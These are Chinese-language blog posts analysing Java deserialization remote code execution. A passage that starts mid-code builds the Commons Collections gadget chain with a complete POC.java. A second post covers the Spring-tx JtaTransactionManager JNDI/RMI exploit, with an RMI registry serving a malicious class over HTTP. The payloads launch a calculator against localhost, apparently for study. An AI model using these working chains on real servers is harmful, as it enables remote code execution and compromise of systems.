InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}) }; Transformer transformChain = new ChainedTransformer(transformers); 我们只要构造一个使用此chain的TransformedMap，就可以执行命令了，可以通过下面的代码来进行测试： // 创建普通的Map Map normalMap = new HashMap(); normalMap.put("foo", "bar"); // 将普通的Map变成TransformedMap，并且指定变换方式为前面定义的恶意chain Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain); // 尝试修改TransformedMap中的一个值，成功执行命令 Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next(); entry.setValue("test"); 执行结果如下 0x03 RCE? 到目前为止，我们已经构造出了可以执行命令的恶意chain，姑且称之为pocChain。现在只要找到一个符合以下条件的类，并且服务端有反序列化的入口，就可以RCE了： 该类重写了readObject方法； 该类在readObject方法中操作了我们序列化后实现了pocChain的TransformedMap； 看了网上很多的文章，均提到了AnnotationInvocationHandler类，其中有一个变量memberValues是Map类型，并且这个变量可以在构造函数中设置，除此之外，还在readObject方法中对memberValues中的每一项调用了setValues方法。一切简直完美，完全符合刚才说到的条件，但是在我实际的调试中发现，为什么不弹计算器，为什么AnnotationInvocationHandler的代码和大佬们的代码不一样，附上我这里的代码： 多篇文章中提到的setValues方法失踪了，搜了很多篇资料后，具体原因还是不太清楚，姑且认为是JDK1.8的原因吧，所以我们需要找一个其他的类来完成我们的调用链；后来在网上找到了ysoserial这个项目，惊喜的发现其中的CommonsCollections5这个payload可以完美运行，于是对着这个poc疯狂调试，终于找到了一个调用链。 0x04 RCE! CommonCollections5中利用的是BadAttributeValueExpException这个类，不妨先看下这个类的代码： package javax.management; import java.io.IOException; import java.io.ObjectInputStream; public class BadAttributeValueExpException extends Exception { /* Serial version */ private static final long serialVersionUID = -3105272988410493376L; /** * @serial A string representation of the attribute that originated this exception. * for example, the string value can be the return of {@code attribute.toString()} */ private Object val; /** * Constructs a BadAttributeValueExpException using the specified Object to * create the toString() value. * * @param val the inappropriate value. */ public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } /** * Returns the string representing the object. */ public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } } 通读一下代码，非常简单，其中有一个私有变量val，而且重写了readObject方法，如果我们通过序列化传入的val是个LazyMap，那么在其中调用valObj.toString()的时候会去调用LazyMap.get()中的transform函数。 梳理一下到目前为止的思路： 构造一个BadAttributeValueException对象exception -> exception的val变量设置为LazyMap的entry -> 调用entry的toString将其转为字符串 -> 调用LazyMap的get方法获取一个不存在的key -> 调用transform方法执行命令 转换成调用链就是： BadAttributeValueException.readObject -> TiedMapEntry.toString -> LazyMap.get -> ChainedTransformer.transform 所以我们先来构造一下恶意的Map: Map innerMap = new HashMap(); innerMap.put("foo", "bar"); Map lazyMap = LazyMap.decorate(innerMap, transformChain); lazyMap.get("foo233"); 这里传入了一个不存在的键foo233，当调用entry.getValue()去尝试获取这个不存在的键对应的值时，会通过transformChain来创建对应的值并且放到Map中。但是我们不能这么写，需要通过类似『延迟计算』的特性，让其在序列化以后并且在toString的时候再去获取不存在的键以触发payload。所以这里引入了另外的一个类TiedMapEntry，他和普通的entry比较类似，但是可以将一个键和entry进行绑定，在需要的时候直接调用getValue()方法即可； Map innerMap = new HashMap(); innerMap.put("foo", "bar"); Map lazyMap = LazyMap.decorate(innerMap, transformChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233"); 接下来的工作就是构造一个BadAttributeValueExpException对象并序列化，这里有个骚操作，就是如何给私有的变量赋值。 BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, entry); exception就是我们最终构造好的对象，将其序列化后存入文件，读取出来并反序列化的时候就会执行命令。除了这一条调用链外，还有很多其他的调用链可以使用，包括CommonsCollections3和CommonCollections6，感兴趣的同学可以自己调试一下PoC，但是这里有个坑。 我调试的时候使用的是IDEA，在调试模式下，IDE会不断的计算每个变量的值，正是因为这个特性，IDE会『帮』我们提前执行PoC，从而导致在没有走到漏洞触发点的时候就已经弹计算器了，所以在调试的时候要格外细心，防止走错路。 比如这张图，断点下在构造exception的时候，但是我们的PoC已经执行了，其原因就是IDE调试功能中的自动计算导致的。 0x05 DEMO // filename: Server.java package me.lightless; import java.io.ObjectInputStream; import java.net.ServerSocket; import java.net.Socket; public class Server { public static void main(String[] args) { try { ServerSocket serverSocket = new ServerSocket(9999); System.out.println("Server started on port " + serverSocket.getLocalPort()); while (true) { Socket socket = serverSocket.accept(); System.out.println("Connection received from " + socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { Object object = objectInputStream.readObject(); System.out.println("Read object " + object); } catch (Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch (Exception e) { e.printStackTrace(); } } } // filename: POC.java package me.lightless; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.Socket; import java.util.HashMap; import java.util.Map; public class POC { public static void main(String[] args) throws Exception { // ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin")); // objectInputStream.readObject(); // objectInputStream.close(); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}), new ConstantTransformer("1") }; Transformer transformChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233"); BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Field valField = exception.getClass().getDeclaredField("val"); // System.out.println("val field: " + valField); valField.setAccessible(true); valField.set(exception, entry); Socket socket=new Socket("127.0.0.1", 9999); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(exception); objectOutputStream.flush(); } } 0xff 参考文献 https://security.tencent.com/index.php/blog/msg/97 https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ https://github.com/frohoff/ysoserial
[Java unserialization] Spring-tx.jar反序列化漏洞分析
Java反序列化的相关知识也学习了一些了，由于这是学习反序列化时的第一篇文章，其中有某些概念也时理解的半知不解，但是后面随着深入学习，一些东西也变得明朗了起来，现在回过头来看有些点可能还是有些问题，打算后续重新整理下这些文章，温故知新；这一系列的文章也全部发表到了MLSRC的公众号上，现在也先发到自己的博客上吧； 0x00 反序列化 之前对Java一直不太熟悉，不怎么接触Java安全，不了解Java中序列化与反序列化的一些机制，导致很多Java相关的RCE都看不懂，只知道拿来就用，想了想还是要深入了解一下比较好。 在PHP中我们可以通过serialize和unserialize来进行序列化相关的操作，到了Java的世界里，就没有这么直白的函数可以用了，相关的两个函数分别是： 序列化: ObjectOutputStream.writeObject() 反序列化: ObjectInputStream.readObject() 我们先来看一下最基本的序列化方式： package me.lightless.base; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; /** * Package: me.lightless.base * Author: lightless <root@lightless.me> * Date: 2018/3/29 */ public class Base { public static void main(String[] args) throws Exception { String hello = "Hello World!"; // 序列化并写入文件payload.bin ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin")); objectOutputStream.writeObject(hello); objectOutputStream.close(); // 从文件payload.bin中读取数据并反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin")); String value = (String)objectInputStream.readObject(); objectInputStream.close(); System.out.println("Read value from file: " + value); } } 通过ObjectOutputStream和ObjectInputStream就可以完成最基础的序列化操作。如果想要序列化一个class，那么会稍微复杂一些，需要自己实现Serializable接口，只有实现了这个接口的类才能被序列化，来看一个简单的例子； package me.lightless.base; import java.io.*; /** * Package: me.lightless.base * Author: lightless <root@lightless.me> * Date: 2018/3/29 */ public class ClassBase { public static void main(String[] args) throws Exception { VulnObject vulnObject = new VulnObject(); vulnObject.value = "new_value"; // 序列化并写入文件payload.bin ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin")); objectOutputStream.writeObject(vulnObject); objectOutputStream.close(); // 从文件payload.bin中读取数据并反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin")); VulnObject vulnObject2 = (VulnObject)objectInputStream.readObject(); objectInputStream.close(); System.out.println("value: " + vulnObject2.value); } } class VulnObject implements Serializable { String value; // private void readObject(ObjectInputStream objectInputStream) throws Exception { // objectInputStream.defaultReadObject(); // System.out.println("This is new 'readObject' method!"); // } } 这个例子中，我们序列化了一个VulnObject类的对象，并且成功的反序列化了回来。这里我注释掉了一个重写的readObject方法，在编写自己的类的时候，可以通过重写readObject方法来实现在反序列化时候进行一些特殊的操作； 更加深层的序列化相关的内容我们先姑且按下不表，后面在分析其他漏洞的时候再另行介绍，知道上面这些点就可以分析Spring-tx.jar中的漏洞了。 0x01 RMI AND JNDI 另外在开始分析Spring-tx.jar中的反序列化漏洞之前，我们还要简单的了解一下RMI和JNDI，Spring-tx.jar中的反序列化漏洞正是利用了这两个机制来实现的RCE，这两个机制都是为了分布式而服务的。 RMI(Remote Method Invocation)，Java远程方法调用，有些类似RPC。相比之下RMI可以访问远程的对象，RPC则不可以，JNDI应用就可以获取到注册在RMI服务上的远程对象； JNDI(Java Naming and Directory Interface)，Java命名和目录接口，简单说就是提供了一组API，可以让我们通过一种统一的方式，便捷的调用各种命名和目录服务（例如LDAP）； 我们可以通过RMI协议来获取远程的对象，例如通过lookup方法来获取rmi://127.0.0.1:1099/EvilObject上的对象，这个时候程序就会去目标主机上的RMI服务尝试获取EvilObject这个对象。RMI服务可以通过返回一个Reference对象，让其去指定的codebase处获取对应类的字节码，而这个codebase甚至可以是HTTP协议:) 就如这个例子，如果RMI服务返回了javax.naming.Reference("ExportObject","ExportObject", factoryLocation)对象，那么程序就会尝试去factoryLocation处获取字节码，并且会自动加载然后执行该类的构造函数； 0x02 Spring-tx漏洞分析 Spring-tx是一个用于处理事务管理相关的包，根据漏洞描述，可以找到是org.springframework.transaction.jta.JtaTransactionManager这个类出现了问题。我们先看一下这个类的readObject方法。 可以看到除了调用默认的readObject之外，还进行了一些额外的操作，那么漏洞就出现在这些额外的操作中。继续跟进initUserTransactionAndTransactionManager这个初始化的方法，可以找到调用了this.lookupUserTransaction(this.userTransactionName)。 再继续向下跟进，会发现调用了this.getJndiTemplate().lookup()方法，这个就是前文说到的lookup方法，可以通过这个方法来传入rmi://协议的参数来执行命令。 漏洞非常的简单，我们来梳理一下调用流程： readObject -> initUserTransactionAndTransactionManager -> lookupUserTransaction -> lookup 最终lookup的参数userTransactionName是通过this.userTransactionName传入的，这个值我们可以在构建JtaTransactionManager类的时候来设置为任意值。 调用链有了，再来梳理一下利用流程： 发送恶意payload -> Server端接到payload，访问恶意的RMI服务 -> RMI访问HTTP服务获取poc类，返回给Server端 -> Server端反序列化拿到的poc类，并且执行构造函数 接下来的事情就是编写PoC了，参考了一下zerothoughts在Github上给出的PoC。首先是服务端，开个socket接收数据并且反序列化即可。 // filename: server.java import java.io.*; import java.net.*; public class ExploitableServer { public static void main(String[] args) { try { int port = 9999; ServerSocket serverSocket = new ServerSocket(port); System.out.println("Server started on port " + serverSocket.getLocalPort()); while (true) { Socket socket = serverSocket.accept(); System.out.println("Connection received from " + socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { Object object = objectInputStream.readObject(); System.out.println("Read object " + object); } catch (Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch (Exception e) { e.printStackTrace(); } } } 我们先来写一个恶意的POC类，负责执行命令 public class POC { public POC() { try { System.out.println("POC start!"); Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } } 比较简单，不做过多说明了。下面来编写主要的poc代码，首先我们需要在本地开启一个HTTPServer，负责输出POC类的字节码，由HttpFileHandler类实现： HttpServer httpServer = HttpServer.create(new InetSocketAddress(8090), 0); httpServer.createContext("/", new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); HttpFileHandler类的代码没有修改，可以参考原PoC； 第二步要开启RMI Registry供Server端来访问，并且与前面编写好的恶意POC类关联起来： System.out.println("Creating RMI Registry"); Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new javax.naming.Reference("POC", "POC", "http://127.0.0.1:8090/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); // rmi://127.0.0.1:1099/poc233 registry.bind("poc233", referenceWrapper); 接下来就是构造一个JtaTransactionManager类来实现我们的调用链完成反序列化的利用： String jndiAddress = "rmi://127.0.0.1:1099/poc233"; org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress); 最后要做的事情就是把构造好的JtaTransactionManager类的对象序列化并发送到Server端即可。 跑起来看下效果 完整的代码这里就不占用篇幅了，感兴趣的同学可以到GitHub上自取。 0x03 参考文献 http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce https://www.ibm.com/support/knowledgecenter/zh/SSYKE2_8.0.0/com.ibm.java.lnx.80.doc/diag/understanding/orb_xmp_server.html https://www.anquanke.com/post/id/87031 https://paper.seebug.org/312/